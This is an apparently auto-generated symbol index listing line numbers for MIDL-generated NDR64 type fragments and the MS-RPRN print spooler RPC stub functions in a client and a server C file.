type __midl_frag243_t (line 11125) | typedef
type __midl_frag240_t (line 11136) | typedef
type __midl_frag237_t (line 11147) | typedef
type __midl_frag231_t (line 11158) | typedef
type __midl_frag230_t (line 11167) | typedef
type __midl_frag229_t (line 11176) | typedef
type __midl_frag227_t (line 11181) | typedef
type __midl_frag224_t (line 11195) | typedef
type __midl_frag217_t (line 11206) | typedef
type __midl_frag216_t (line 11227) | typedef
type __midl_frag214_t (line 11232) | typedef
type __midl_frag213_t (line 11243) | typedef
type __midl_frag212_t (line 11259) | typedef
type __midl_frag211_t (line 11264) | typedef
type __midl_frag210_t (line 11269) | typedef
type __midl_frag207_t (line 11282) | typedef
type __midl_frag204_t (line 11287) | typedef
type __midl_frag203_t (line 11296) | typedef
type __midl_frag202_t (line 11305) | typedef
type __midl_frag199_t (line 11310) | typedef
type __midl_frag196_t (line 11325) | typedef
type __midl_frag195_t (line 11330) | typedef
type __midl_frag194_t (line 11335) | typedef
type __midl_frag192_t (line 11340) | typedef
type __midl_frag189_t (line 11355) | typedef
type __midl_frag185_t (line 11366) | typedef
type __midl_frag159_t (line 11378) | typedef
type __midl_frag152_t (line 11396) | typedef
type __midl_frag151_t (line 11405) | typedef
type __midl_frag147_t (line 11410) | typedef
type __midl_frag144_t (line 11426) | typedef
type __midl_frag133_t (line 11445) | typedef
type __midl_frag132_t (line 11489) | typedef
type __midl_frag131_t (line 11494) | typedef
type __midl_frag130_t (line 11502) | typedef
type __midl_frag118_t (line 11507) | typedef
type __midl_frag117_t (line 11552) | typedef
type __midl_frag116_t (line 11557) | typedef
type __midl_frag109_t (line 11570) | typedef
type __midl_frag108_t (line 11605) | typedef
type __midl_frag107_t (line 11610) | typedef
type __midl_frag106_t (line 11619) | typedef
type __midl_frag105_t (line 11633) | typedef
type __midl_frag104_t (line 11649) | typedef
type __midl_frag101_t (line 11654) | typedef
type __midl_frag99_t (line 11668) | typedef
type __midl_frag98_t (line 11673) | typedef
type __midl_frag97_t (line 11678) | typedef
type __midl_frag96_t (line 11683) | typedef
type __midl_frag93_t (line 11691) | typedef
type __midl_frag92_t (line 11700) | typedef
type __midl_frag89_t (line 11715) | typedef
type __midl_frag88_t (line 11730) | typedef
type __midl_frag84_t (line 11735) | typedef
type __midl_frag83_t (line 11750) | typedef
type __midl_frag82_t (line 11755) | typedef
type __midl_frag81_t (line 11763) | typedef
type __midl_frag78_t (line 11768) | typedef
type __midl_frag77_t (line 11786) | typedef
type __midl_frag74_t (line 11791) | typedef
type __midl_frag73_t (line 11809) | typedef
type __midl_frag72_t (line 11814) | typedef
type __midl_frag71_t (line 11829) | typedef
type __midl_frag70_t (line 11834) | typedef
type __midl_frag69_t (line 11845) | typedef
type __midl_frag67_t (line 11853) | typedef
type __midl_frag66_t (line 11862) | typedef
type __midl_frag65_t (line 11871) | typedef
type __midl_frag64_t (line 11879) | typedef
type __midl_frag59_t (line 11899) | typedef
type __midl_frag51_t (line 11907) | typedef
type __midl_frag50_t (line 11958) | typedef
type __midl_frag49_t (line 11963) | typedef
type __midl_frag45_t (line 11973) | typedef
type __midl_frag44_t (line 11990) | typedef
type __midl_frag41_t (line 11995) | typedef
type __midl_frag40_t (line 12013) | typedef
type __midl_frag39_t (line 12018) | typedef
type __midl_frag38_t (line 12027) | typedef
type __midl_frag37_t (line 12047) | typedef
type __midl_frag33_t (line 12063) | typedef
type __midl_frag31_t (line 12079) | typedef
type __midl_frag28_t (line 12088) | typedef
type __midl_frag27_t (line 12112) | typedef
type __midl_frag26_t (line 12117) | typedef
type __midl_frag25_t (line 12125) | typedef
type __midl_frag21_t (line 12130) | typedef
type __midl_frag20_t (line 12152) | typedef
type __midl_frag18_t (line 12157) | typedef
type __midl_frag17_t (line 12170) | typedef
type __midl_frag14_t (line 12186) | typedef
type __midl_frag11_t (line 12194) | typedef
type __midl_frag10_t (line 12203) | typedef
type __midl_frag2_t (line 12218) | typedef
type NDR64_FORMAT_UINT32 (line 12234) | typedef
FILE: rpc_interfaces/ms-rprn_c.c
type ms2Drprn_MIDL_TYPE_FORMAT_STRING (line 40) | typedef struct _ms2Drprn_MIDL_TYPE_FORMAT_STRING
type ms2Drprn_MIDL_PROC_FORMAT_STRING (line 46) | typedef struct _ms2Drprn_MIDL_PROC_FORMAT_STRING
type ms2Drprn_MIDL_EXPR_FORMAT_STRING (line 52) | typedef struct _ms2Drprn_MIDL_EXPR_FORMAT_STRING
function DWORD (line 159) | DWORD RpcEnumPrinters(
function DWORD (line 187) | DWORD RpcOpenPrinter(
function DWORD (line 211) | DWORD RpcSetJob(
function DWORD (line 233) | DWORD RpcGetJob(
function DWORD (line 259) | DWORD RpcEnumJobs(
function DWORD (line 289) | DWORD RpcAddPrinter(
function DWORD (line 313) | DWORD RpcDeletePrinter(
function DWORD (line 329) | DWORD RpcSetPrinter(
function DWORD (line 353) | DWORD RpcGetPrinter(
function DWORD (line 377) | DWORD RpcAddPrinterDriver(
function DWORD (line 395) | DWORD RpcEnumPrinterDrivers(
function DWORD (line 423) | DWORD RpcGetPrinterDriver(
function DWORD (line 449) | DWORD RpcGetPrinterDriverDirectory(
function DWORD (line 475) | DWORD RpcDeletePrinterDriver(
function DWORD (line 495) | DWORD RpcAddPrintProcessor(
function DWORD (line 517) | DWORD RpcEnumPrintProcessors(
function DWORD (line 545) | DWORD RpcGetPrintProcessorDirectory(
function DWORD (line 571) | DWORD RpcStartDocPrinter(
function DWORD (line 591) | DWORD RpcStartPagePrinter(
function DWORD (line 607) | DWORD RpcWritePrinter(
function DWORD (line 629) | DWORD RpcEndPagePrinter(
function DWORD (line 645) | DWORD RpcAbortPrinter(
function DWORD (line 661) | DWORD RpcReadPrinter(
function DWORD (line 683) | DWORD RpcEndDocPrinter(
function DWORD (line 699) | DWORD RpcAddJob(
function DWORD (line 723) | DWORD RpcScheduleJob(
function DWORD (line 741) | DWORD RpcGetPrinterData(
function DWORD (line 767) | DWORD RpcSetPrinterData(
function DWORD (line 791) | DWORD RpcWaitForPrinterChange(
function DWORD (line 811) | DWORD RpcClosePrinter(
function DWORD (line 827) | DWORD RpcAddForm(
function DWORD (line 845) | DWORD RpcDeleteForm(
function DWORD (line 863) | DWORD RpcGetForm(
function DWORD (line 889) | DWORD RpcSetForm(
function DWORD (line 909) | DWORD RpcEnumForms(
function DWORD (line 935) | DWORD RpcEnumPorts(
function DWORD (line 961) | DWORD RpcEnumMonitors(
function Opnum37NotUsedOnWire (line 987) | void Opnum37NotUsedOnWire(
function Opnum38NotUsedOnWire (line 1000) | void Opnum38NotUsedOnWire(
function DWORD (line 1013) | DWORD RpcDeletePort(
function DWORD (line 1033) | DWORD RpcCreatePrinterIC(
function DWORD (line 1053) | DWORD RpcPlayGdiScriptOnPrinterIC(
function DWORD (line 1079) | DWORD RpcDeletePrinterIC(
function Opnum43NotUsedOnWire (line 1095) | void Opnum43NotUsedOnWire(
function Opnum44NotUsedOnWire (line 1108) | void Opnum44NotUsedOnWire(
function Opnum45NotUsedOnWire (line 1121) | void Opnum45NotUsedOnWire(
function DWORD (line 1134) | DWORD RpcAddMonitor(
function DWORD (line 1152) | DWORD RpcDeleteMonitor(
function DWORD (line 1172) | DWORD RpcDeletePrintProcessor(
function Opnum49NotUsedOnWire (line 1192) | void Opnum49NotUsedOnWire(
function Opnum50NotUsedOnWire (line 1205) | void Opnum50NotUsedOnWire(
function DWORD (line 1218) | DWORD RpcEnumPrintProcessorDatatypes(
function DWORD (line 1246) | DWORD RpcResetPrinter(
function DWORD (line 1266) | DWORD RpcGetPrinterDriver2(
function Opnum54NotUsedOnWire (line 1300) | void Opnum54NotUsedOnWire(
function Opnum55NotUsedOnWire (line 1313) | void Opnum55NotUsedOnWire(
function DWORD (line 1326) | DWORD RpcFindClosePrinterChangeNotification(
function Opnum57NotUsedOnWire (line 1342) | void Opnum57NotUsedOnWire(
function DWORD (line 1355) | DWORD RpcReplyOpenPrinter(
function DWORD (line 1381) | DWORD RpcRouterReplyPrinter(
function DWORD (line 1403) | DWORD RpcReplyClosePrinter(
function DWORD (line 1419) | DWORD RpcAddPortEx(
function DWORD (line 1441) | DWORD RpcRemoteFindFirstPrinterChangeNotification(
function Opnum63NotUsedOnWire (line 1469) | void Opnum63NotUsedOnWire(
function Opnum64NotUsedOnWire (line 1482) | void Opnum64NotUsedOnWire(
function DWORD (line 1495) | DWORD RpcRemoteFindFirstPrinterChangeNotificationEx(
function DWORD (line 1521) | DWORD RpcRouterReplyPrinterEx(
function DWORD (line 1547) | DWORD RpcRouterRefreshPrinterChangeNotification(
function Opnum68NotUsedOnWire (line 1569) | void Opnum68NotUsedOnWire(
function DWORD (line 1582) | DWORD RpcOpenPrinterEx(
function DWORD (line 1608) | DWORD RpcAddPrinterEx(
function DWORD (line 1634) | DWORD RpcSetPort(
function DWORD (line 1654) | DWORD RpcEnumPrinterData(
function DWORD (line 1686) | DWORD RpcDeletePrinterData(
function Opnum74NotUsedOnWire (line 1704) | void Opnum74NotUsedOnWire(
function Opnum75NotUsedOnWire (line 1717) | void Opnum75NotUsedOnWire(
function Opnum76NotUsedOnWire (line 1730) | void Opnum76NotUsedOnWire(
function DWORD (line 1743) | DWORD RpcSetPrinterDataEx(
function DWORD (line 1769) | DWORD RpcGetPrinterDataEx(
function DWORD (line 1797) | DWORD RpcEnumPrinterDataEx(
function DWORD (line 1823) | DWORD RpcEnumPrinterKey(
function DWORD (line 1847) | DWORD RpcDeletePrinterDataEx(
function DWORD (line 1867) | DWORD RpcDeletePrinterKey(
function Opnum83NotUsedOnWire (line 1885) | void Opnum83NotUsedOnWire(
function DWORD (line 1898) | DWORD RpcDeletePrinterDriverEx(
function DWORD (line 1922) | DWORD RpcAddPerMachineConnection(
function DWORD (line 1944) | DWORD RpcDeletePerMachineConnection(
function DWORD (line 1962) | DWORD RpcEnumPerMachineConnections(
function DWORD (line 1986) | DWORD RpcXcvData(
function DWORD (line 2016) | DWORD RpcAddPrinterDriverEx(
function Opnum90NotUsedOnWire (line 2036) | void Opnum90NotUsedOnWire(
function Opnum91NotUsedOnWire (line 2049) | void Opnum91NotUsedOnWire(
function Opnum92NotUsedOnWire (line 2062) | void Opnum92NotUsedOnWire(
function Opnum93NotUsedOnWire (line 2075) | void Opnum93NotUsedOnWire(
function Opnum94NotUsedOnWire (line 2088) | void Opnum94NotUsedOnWire(
function Opnum95NotUsedOnWire (line 2101) | void Opnum95NotUsedOnWire(
function DWORD (line 2114) | DWORD RpcFlushPrinter(
function DWORD (line 2138) | DWORD RpcSendRecvBidiData(
function Opnum98NotUsedOnWire (line 2160) | void Opnum98NotUsedOnWire(
function Opnum99NotUsedOnWire (line 2173) | void Opnum99NotUsedOnWire(
function Opnum100NotUsedOnWire (line 2186) | void Opnum100NotUsedOnWire(
function Opnum101NotUsedOnWire (line 2199) | void Opnum101NotUsedOnWire(
function HRESULT (line 2212) | HRESULT RpcGetCorePrinterDrivers(
function Opnum103NotUsedOnWire (line 2238) | void Opnum103NotUsedOnWire(
function HRESULT (line 2251) | HRESULT RpcGetPrinterDriverPackagePath(
function Opnum105NotUsedOnWire (line 2279) | void Opnum105NotUsedOnWire(
function Opnum106NotUsedOnWire (line 2292) | void Opnum106NotUsedOnWire(
function Opnum107NotUsedOnWire (line 2305) | void Opnum107NotUsedOnWire(
function Opnum108NotUsedOnWire (line 2318) | void Opnum108NotUsedOnWire(
function Opnum109NotUsedOnWire (line 2331) | void Opnum109NotUsedOnWire(
function DWORD (line 2344) | DWORD RpcGetJobNamedPropertyValue(
function DWORD (line 2366) | DWORD RpcSetJobNamedProperty(
function DWORD (line 2386) | DWORD RpcDeleteJobNamedProperty(
function DWORD (line 2406) | DWORD RpcEnumJobNamedProperties(
function Proc114 (line 2428) | long Proc114(
function Proc115 (line 2446) | long Proc115(
function Proc116 (line 2464) | long Proc116(
type NDR64_FORMAT_CHAR (line 10266) | typedef
type __midl_frag1089_t (line 10271) | typedef
type __midl_frag1088_t (line 10276) | typedef
type NDR64_FORMAT_CHAR (line 10288) | typedef
type NDR64_FORMAT_CHAR (line 10293) | typedef
type __midl_frag1085_t (line 10298) | typedef
type __midl_frag1084_t (line 10303) | typedef
type __midl_frag1083_t (line 10308) | typedef
type NDR64_FORMAT_CHAR (line 10320) | typedef
type __midl_frag1081_t (line 10325) | typedef
type __midl_frag1080_t (line 10330) | typedef
type __midl_frag1079_t (line 10335) | typedef
type __midl_frag1076_t (line 10346) | typedef
type __midl_frag1072_t (line 10351) | typedef
type __midl_frag1071_t (line 10356) | typedef
type __midl_frag1068_t (line 10370) | typedef
type __midl_frag1065_t (line 10375) | typedef
type __midl_frag1060_t (line 10388) | typedef
type __midl_frag1052_t (line 10401) | typedef
type __midl_frag1051_t (line 10415) | typedef
type NDR64_FORMAT_CHAR (line 10424) | typedef
type __midl_frag1041_t (line 10429) | typedef
type __midl_frag1040_t (line 10438) | typedef
type __midl_frag1039_t (line 10447) | typedef
type __midl_frag1030_t (line 10452) | typedef
type __midl_frag1023_t (line 10469) | typedef
type __midl_frag1022_t (line 10478) | typedef
type __midl_frag1021_t (line 10487) | typedef
type __midl_frag1015_t (line 10492) | typedef
type __midl_frag1003_t (line 10508) | typedef
type NDR64_FORMAT_CHAR (line 10522) | typedef
type __midl_frag996_t (line 10527) | typedef
type __midl_frag995_t (line 10536) | typedef
type __midl_frag994_t (line 10545) | typedef
type __midl_frag992_t (line 10550) | typedef
type __midl_frag983_t (line 10565) | typedef
type __midl_frag980_t (line 10570) | typedef
type __midl_frag977_t (line 10583) | typedef
type NDR64_FORMAT_CHAR (line 10588) | typedef
type __midl_frag971_t (line 10593) | typedef
type __midl_frag970_t (line 10602) | typedef
type __midl_frag967_t (line 10607) | typedef
type __midl_frag966_t (line 10616) | typedef
type __midl_frag965_t (line 10625) | typedef
type __midl_frag961_t (line 10630) | typedef
type __midl_frag951_t (line 10648) | typedef
type __midl_frag948_t (line 10653) | typedef
type __midl_frag942_t (line 10668) | typedef
type __midl_frag932_t (line 10680) | typedef
type __midl_frag922_t (line 10694) | typedef
type __midl_frag916_t (line 10709) | typedef
type __midl_frag909_t (line 10721) | typedef
type NDR64_FORMAT_CHAR (line 10734) | typedef
type __midl_frag903_t (line 10739) | typedef
type __midl_frag902_t (line 10750) | typedef
type __midl_frag901_t (line 10759) | typedef
type __midl_frag897_t (line 10764) | typedef
type __midl_frag883_t (line 10779) | typedef
type __midl_frag877_t (line 10795) | typedef
type __midl_frag876_t (line 10804) | typedef
type __midl_frag875_t (line 10813) | typedef
type __midl_frag867_t (line 10818) | typedef
type __midl_frag854_t (line 10835) | typedef
type __midl_frag853_t (line 10851) | typedef
type __midl_frag840_t (line 10860) | typedef
type __midl_frag839_t (line 10869) | typedef
type __midl_frag838_t (line 10878) | typedef
type NDR64_FORMAT_CHAR (line 10883) | typedef
type __midl_frag831_t (line 10888) | typedef
type __midl_frag830_t (line 10899) | typedef
type __midl_frag829_t (line 10908) | typedef
type __midl_frag827_t (line 10913) | typedef
type __midl_frag826_t (line 10918) | typedef
type __midl_frag824_t (line 10937) | typedef
type __midl_frag822_t (line 10942) | typedef
type __midl_frag819_t (line 10947) | typedef
type __midl_frag817_t (line 10960) | typedef
type __midl_frag816_t (line 10965) | typedef
type __midl_frag815_t (line 10970) | typedef
type __midl_frag814_t (line 10975) | typedef
type __midl_frag812_t (line 10980) | typedef
type __midl_frag809_t (line 10985) | typedef
type __midl_frag807_t (line 11001) | typedef
type __midl_frag804_t (line 11010) | typedef
type __midl_frag803_t (line 11034) | typedef
type __midl_frag802_t (line 11039) | typedef
type __midl_frag801_t (line 11047) | typedef
type __midl_frag797_t (line 11052) | typedef
type __midl_frag796_t (line 11074) | typedef
type __midl_frag795_t (line 11079) | typedef
type __midl_frag794_t (line 11088) | typedef
type __midl_frag793_t (line 11101) | typedef
type __midl_frag783_t (line 11117) | typedef
type __midl_frag778_t (line 11133) | typedef
type __midl_frag775_t (line 11138) | typedef
type __midl_frag766_t (line 11152) | typedef
type __midl_frag764_t (line 11168) | typedef
type __midl_frag763_t (line 11176) | typedef
type __midl_frag762_t (line 11185) | typedef
type __midl_frag761_t (line 11194) | typedef
type NDR64_FORMAT_CHAR (line 11209) | typedef
type __midl_frag757_t (line 11214) | typedef
type __midl_frag756_t (line 11223) | typedef
type __midl_frag755_t (line 11242) | typedef
type __midl_frag747_t (line 11259) | typedef
type __midl_frag742_t (line 11275) | typedef
type __midl_frag741_t (line 11285) | typedef
type __midl_frag740_t (line 11294) | typedef
type __midl_frag739_t (line 11299) | typedef
type __midl_frag732_t (line 11304) | typedef
type __midl_frag728_t (line 11321) | typedef
type __midl_frag725_t (line 11329) | typedef
type __midl_frag724_t (line 11338) | typedef
type __midl_frag723_t (line 11353) | typedef
type __midl_frag722_t (line 11358) | typedef
type __midl_frag719_t (line 11367) | typedef
type __midl_frag718_t (line 11383) | typedef
type __midl_frag717_t (line 11388) | typedef
type __midl_frag715_t (line 11396) | typedef
type __midl_frag714_t (line 11414) | typedef
type __midl_frag710_t (line 11419) | typedef
type __midl_frag709_t (line 11440) | typedef
type __midl_frag707_t (line 11445) | typedef
type __midl_frag706_t (line 11460) | typedef
type __midl_frag705_t (line 11465) | typedef
type __midl_frag704_t (line 11476) | typedef
type __midl_frag703_t (line 11490) | typedef
type __midl_frag702_t (line 11506) | typedef
type __midl_frag699_t (line 11511) | typedef
type __midl_frag697_t (line 11525) | typedef
type __midl_frag696_t (line 11530) | typedef
type __midl_frag695_t (line 11535) | typedef
type __midl_frag692_t (line 11546) | typedef
type __midl_frag691_t (line 11556) | typedef
type __midl_frag690_t (line 11565) | typedef
type __midl_frag686_t (line 11570) | typedef
type __midl_frag683_t (line 11584) | typedef
type __midl_frag682_t (line 11594) | typedef
type __midl_frag681_t (line 11603) | typedef
type __midl_frag677_t (line 11608) | typedef
type __midl_frag676_t (line 11613) | typedef
type __midl_frag673_t (line 11618) | typedef
type __midl_frag669_t (line 11634) | typedef
type __midl_frag668_t (line 11645) | typedef
type __midl_frag664_t (line 11654) | typedef
type NDR64_FORMAT_CHAR (line 11659) | typedef
type __midl_frag655_t (line 11664) | typedef
type __midl_frag654_t (line 11673) | typedef
type __midl_frag653_t (line 11682) | typedef
type __midl_frag648_t (line 11687) | typedef
type __midl_frag646_t (line 11707) | typedef
type __midl_frag645_t (line 11712) | typedef
type __midl_frag644_t (line 11717) | typedef
type __midl_frag642_t (line 11722) | typedef
type __midl_frag626_t (line 11735) | typedef
type __midl_frag616_t (line 11752) | typedef
type __midl_frag603_t (line 11765) | typedef
type __midl_frag602_t (line 11786) | typedef
type __midl_frag600_t (line 11791) | typedef
type __midl_frag599_t (line 11806) | typedef
type __midl_frag598_t (line 11811) | typedef
type __midl_frag597_t (line 11820) | typedef
type __midl_frag596_t (line 11832) | typedef
type __midl_frag595_t (line 11848) | typedef
type __midl_frag592_t (line 11853) | typedef
type __midl_frag587_t (line 11865) | typedef
type __midl_frag586_t (line 11870) | typedef
type __midl_frag585_t (line 11875) | typedef
type __midl_frag578_t (line 11886) | typedef
type __midl_frag575_t (line 11891) | typedef
type __midl_frag574_t (line 11900) | typedef
type __midl_frag573_t (line 11909) | typedef
type __midl_frag572_t (line 11914) | typedef
type __midl_frag571_t (line 11919) | typedef
type __midl_frag568_t (line 11935) | typedef
type __midl_frag567_t (line 11940) | typedef
type __midl_frag565_t (line 11945) | typedef
type __midl_frag562_t (line 11958) | typedef
type NDR64_FORMAT_CHAR (line 11963) | typedef
type __midl_frag558_t (line 11968) | typedef
type __midl_frag548_t (line 11981) | typedef
type __midl_frag547_t (line 11990) | typedef
type __midl_frag546_t (line 11999) | typedef
type __midl_frag542_t (line 12004) | typedef
type __midl_frag532_t (line 12020) | typedef
type __midl_frag528_t (line 12025) | typedef
type __midl_frag515_t (line 12041) | typedef
type __midl_frag513_t (line 12057) | typedef
type __midl_frag509_t (line 12062) | typedef
type __midl_frag503_t (line 12075) | typedef
type __midl_frag502_t (line 12084) | typedef
type __midl_frag501_t (line 12093) | typedef
type __midl_frag496_t (line 12098) | typedef
type __midl_frag489_t (line 12114) | typedef
type __midl_frag486_t (line 12125) | typedef
type __midl_frag484_t (line 12130) | typedef
type __midl_frag483_t (line 12161) | typedef
type __midl_frag482_t (line 12166) | typedef
type __midl_frag480_t (line 12174) | typedef
type __midl_frag479_t (line 12195) | typedef
type __midl_frag478_t (line 12200) | typedef
type __midl_frag477_t (line 12209) | typedef
type __midl_frag476_t (line 12221) | typedef
type __midl_frag473_t (line 12237) | typedef
type __midl_frag471_t (line 12249) | typedef
type __midl_frag470_t (line 12254) | typedef
type __midl_frag469_t (line 12259) | typedef
type __midl_frag463_t (line 12270) | typedef
type __midl_frag458_t (line 12283) | typedef
type __midl_frag457_t (line 12292) | typedef
type __midl_frag452_t (line 12297) | typedef
type __midl_frag444_t (line 12312) | typedef
type __midl_frag438_t (line 12317) | typedef
type __midl_frag434_t (line 12333) | typedef
type __midl_frag423_t (line 12345) | typedef
type __midl_frag414_t (line 12360) | typedef
type __midl_frag413_t (line 12369) | typedef
type __midl_frag412_t (line 12378) | typedef
type __midl_frag410_t (line 12383) | typedef
type __midl_frag408_t (line 12397) | typedef
type __midl_frag407_t (line 12402) | typedef
type NDR64_FORMAT_CHAR (line 12413) | typedef
type __midl_frag405_t (line 12418) | typedef
type __midl_frag404_t (line 12423) | typedef
type NDR64_FORMAT_CHAR (line 12434) | typedef
type __midl_frag401_t (line 12439) | typedef
type __midl_frag397_t (line 12444) | typedef
type __midl_frag396_t (line 12453) | typedef
type __midl_frag394_t (line 12458) | typedef
type __midl_frag391_t (line 12472) | typedef
type __midl_frag387_t (line 12483) | typedef
type __midl_frag384_t (line 12488) | typedef
type __midl_frag383_t (line 12509) | typedef
type __midl_frag382_t (line 12514) | typedef
type __midl_frag381_t (line 12523) | typedef
type __midl_frag380_t (line 12534) | typedef
type __midl_frag379_t (line 12550) | typedef
type __midl_frag378_t (line 12555) | typedef
type __midl_frag377_t (line 12560) | typedef
type __midl_frag374_t (line 12573) | typedef
type __midl_frag366_t (line 12578) | typedef
type __midl_frag363_t (line 12583) | typedef
type __midl_frag347_t (line 12599) | typedef
type __midl_frag344_t (line 12616) | typedef
type __midl_frag337_t (line 12621) | typedef
type __midl_frag329_t (line 12635) | typedef
type __midl_frag315_t (line 12648) | typedef
type __midl_frag312_t (line 12664) | typedef
type __midl_frag302_t (line 12669) | typedef
type __midl_frag284_t (line 12685) | typedef
type __midl_frag282_t (line 12711) | typedef
type __midl_frag281_t (line 12720) | typedef
type __midl_frag278_t (line 12729) | typedef
type __midl_frag277_t (line 12738) | typedef
type __midl_frag269_t (line 12747) | typedef
type __midl_frag268_t (line 12756) | typedef
type __midl_frag266_t (line 12765) | typedef
type __midl_frag265_t (line 12774) | typedef
type __midl_frag256_t (line 12783) | typedef
type __midl_frag255_t (line 12830) | typedef
type __midl_frag254_t (line 12835) | typedef
type __midl_frag235_t (line 12856) | typedef
type __midl_frag234_t (line 12891) | typedef
type __midl_frag233_t (line 12896) | typedef
type __midl_frag218_t (line 12913) | typedef
type __midl_frag217_t (line 12941) | typedef
type __midl_frag216_t (line 12946) | typedef
type __midl_frag204_t (line 12962) | typedef
type __midl_frag203_t (line 12987) | typedef
type __midl_frag202_t (line 12992) | typedef
type __midl_frag196_t (line 13004) | typedef
type __midl_frag195_t (line 13023) | typedef
type __midl_frag190_t (line 13028) | typedef
type __midl_frag189_t (line 13044) | typedef
type __midl_frag185_t (line 13060) | typedef
type __midl_frag169_t (line 13072) | typedef
type __midl_frag167_t (line 13077) | typedef
type __midl_frag160_t (line 13092) | typedef
type __midl_frag157_t (line 13100) | typedef
type __midl_frag156_t (line 13109) | typedef
type __midl_frag153_t (line 13124) | typedef
type __midl_frag152_t (line 13132) | typedef
type __midl_frag148_t (line 13137) | typedef
type __midl_frag147_t (line 13152) | typedef
type __midl_frag146_t (line 13157) | typedef
type __midl_frag145_t (line 13165) | typedef
type __midl_frag142_t (line 13170) | typedef
type __midl_frag141_t (line 13188) | typedef
type __midl_frag138_t (line 13193) | typedef
type __midl_frag137_t (line 13211) | typedef
type __midl_frag123_t (line 13216) | typedef
type __midl_frag122_t (line 13261) | typedef
type __midl_frag121_t (line 13266) | typedef
type __midl_frag117_t (line 13276) | typedef
type __midl_frag116_t (line 13293) | typedef
type __midl_frag113_t (line 13298) | typedef
type __midl_frag112_t (line 13316) | typedef
type __midl_frag110_t (line 13321) | typedef
type __midl_frag109_t (line 13341) | typedef
type __midl_frag105_t (line 13357) | typedef
type __midl_frag97_t (line 13372) | typedef
type __midl_frag96_t (line 13381) | typedef
type __midl_frag95_t (line 13390) | typedef
type __midl_frag90_t (line 13395) | typedef
type __midl_frag78_t (line 13413) | typedef
type __midl_frag75_t (line 13429) | typedef
type __midl_frag64_t (line 13446) | typedef
type __midl_frag63_t (line 13490) | typedef
type __midl_frag62_t (line 13495) | typedef
type __midl_frag61_t (line 13503) | typedef
type __midl_frag49_t (line 13508) | typedef
type __midl_frag48_t (line 13553) | typedef
type __midl_frag47_t (line 13558) | typedef
type __midl_frag40_t (line 13571) | typedef
type __midl_frag39_t (line 13606) | typedef
type __midl_frag37_t (line 13611) | typedef
type __midl_frag36_t (line 13625) | typedef
type __midl_frag35_t (line 13641) | typedef
type __midl_frag32_t (line 13646) | typedef
type __midl_frag17_t (line 13660) | typedef
type __midl_frag2_t (line 13675) | typedef
type NDR64_FORMAT_UINT32 (line 13692) | typedef
FILE: rpc_interfaces/ms-rprn_s.c
type ms2Drprn_MIDL_TYPE_FORMAT_STRING (line 39) | typedef struct _ms2Drprn_MIDL_TYPE_FORMAT_STRING
type ms2Drprn_MIDL_PROC_FORMAT_STRING (line 45) | typedef struct _ms2Drprn_MIDL_PROC_FORMAT_STRING
type ms2Drprn_MIDL_EXPR_FORMAT_STRING (line 51) | typedef struct _ms2Drprn_MIDL_EXPR_FORMAT_STRING
type NDR64_FORMAT_CHAR (line 8061) | typedef
type __midl_frag1089_t (line 8066) | typedef
type __midl_frag1088_t (line 8071) | typedef
type NDR64_FORMAT_CHAR (line 8083) | typedef
type NDR64_FORMAT_CHAR (line 8088) | typedef
type __midl_frag1085_t (line 8093) | typedef
type __midl_frag1084_t (line 8098) | typedef
type __midl_frag1083_t (line 8103) | typedef
type NDR64_FORMAT_CHAR (line 8115) | typedef
type __midl_frag1081_t (line 8120) | typedef
type __midl_frag1080_t (line 8125) | typedef
type __midl_frag1079_t (line 8130) | typedef
type __midl_frag1076_t (line 8141) | typedef
type __midl_frag1072_t (line 8146) | typedef
type __midl_frag1071_t (line 8151) | typedef
type __midl_frag1068_t (line 8165) | typedef
type __midl_frag1065_t (line 8170) | typedef
type __midl_frag1060_t (line 8183) | typedef
type __midl_frag1052_t (line 8196) | typedef
type __midl_frag1051_t (line 8210) | typedef
type NDR64_FORMAT_CHAR (line 8219) | typedef
type __midl_frag1041_t (line 8224) | typedef
type __midl_frag1040_t (line 8233) | typedef
type __midl_frag1039_t (line 8242) | typedef
type __midl_frag1030_t (line 8247) | typedef
type __midl_frag1023_t (line 8264) | typedef
type __midl_frag1022_t (line 8273) | typedef
type __midl_frag1021_t (line 8282) | typedef
type __midl_frag1015_t (line 8287) | typedef
type __midl_frag1003_t (line 8303) | typedef
type NDR64_FORMAT_CHAR (line 8317) | typedef
type __midl_frag996_t (line 8322) | typedef
type __midl_frag995_t (line 8331) | typedef
type __midl_frag994_t (line 8340) | typedef
type __midl_frag992_t (line 8345) | typedef
type __midl_frag983_t (line 8360) | typedef
type __midl_frag980_t (line 8365) | typedef
type __midl_frag977_t (line 8378) | typedef
type NDR64_FORMAT_CHAR (line 8383) | typedef
type __midl_frag971_t (line 8388) | typedef
type __midl_frag970_t (line 8397) | typedef
type __midl_frag967_t (line 8402) | typedef
type __midl_frag966_t (line 8411) | typedef
type __midl_frag965_t (line 8420) | typedef
type __midl_frag961_t (line 8425) | typedef
type __midl_frag951_t (line 8443) | typedef
type __midl_frag948_t (line 8448) | typedef
type __midl_frag942_t (line 8463) | typedef
type __midl_frag932_t (line 8475) | typedef
type __midl_frag922_t (line 8489) | typedef
type __midl_frag916_t (line 8504) | typedef
type __midl_frag909_t (line 8516) | typedef
type NDR64_FORMAT_CHAR (line 8529) | typedef
type __midl_frag903_t (line 8534) | typedef
type __midl_frag902_t (line 8545) | typedef
type __midl_frag901_t (line 8554) | typedef
type __midl_frag897_t (line 8559) | typedef
type __midl_frag883_t (line 8574) | typedef
type __midl_frag877_t (line 8590) | typedef
type __midl_frag876_t (line 8599) | typedef
type __midl_frag875_t (line 8608) | typedef
type __midl_frag867_t (line 8613) | typedef
type __midl_frag854_t (line 8630) | typedef
type __midl_frag853_t (line 8646) | typedef
type __midl_frag840_t (line 8655) | typedef
type __midl_frag839_t (line 8664) | typedef
type __midl_frag838_t (line 8673) | typedef
type NDR64_FORMAT_CHAR (line 8678) | typedef
type __midl_frag831_t (line 8683) | typedef
type __midl_frag830_t (line 8694) | typedef
type __midl_frag829_t (line 8703) | typedef
type __midl_frag827_t (line 8708) | typedef
type __midl_frag826_t (line 8713) | typedef
type __midl_frag824_t (line 8732) | typedef
type __midl_frag822_t (line 8737) | typedef
type __midl_frag819_t (line 8742) | typedef
type __midl_frag817_t (line 8755) | typedef
type __midl_frag816_t (line 8760) | typedef
type __midl_frag815_t (line 8765) | typedef
type __midl_frag814_t (line 8770) | typedef
type __midl_frag812_t (line 8775) | typedef
type __midl_frag809_t (line 8780) | typedef
type __midl_frag807_t (line 8796) | typedef
type __midl_frag804_t (line 8805) | typedef
type __midl_frag803_t (line 8829) | typedef
type __midl_frag802_t (line 8834) | typedef
type __midl_frag801_t (line 8842) | typedef
type __midl_frag797_t (line 8847) | typedef
